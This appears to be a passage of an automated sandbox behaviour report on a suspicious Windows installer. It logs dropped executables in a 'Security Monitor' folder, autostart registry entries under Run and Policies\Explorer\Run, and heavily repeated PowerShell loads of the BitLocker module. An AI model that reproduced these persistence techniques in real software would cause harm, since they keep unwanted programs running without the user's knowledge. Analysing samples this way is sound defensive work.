Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File created: C:\ProgramData\Security Monitor\{WCS1080F-FD66-4650-B1B8-C8310A1CE2D3}\ffws.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe	File created: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-HNNTE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-719F1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-1I5NJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-H780M.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-EO3DV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-NNSLF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-GD8FS.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-9U2JI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JVHDE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sqlite3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-24VMR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-67IFD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JLPKJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe (copy)	Jump to dropped file
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File created: C:\ProgramData\Security Monitor\{WCS1080F-FD66-4650-B1B8-C8310A1CE2D3}\ffws.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-HNNTE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-719F1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-1I5NJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-H780M.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-EO3DV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-NNSLF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-GD8FS.tmp	Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localSPM
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localSPM
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localSPM
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localSPM
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localmon
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localmon
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localmon
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localmon

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run kbdsprt
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run kbdsprt
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run localSPM
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run localSPM

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
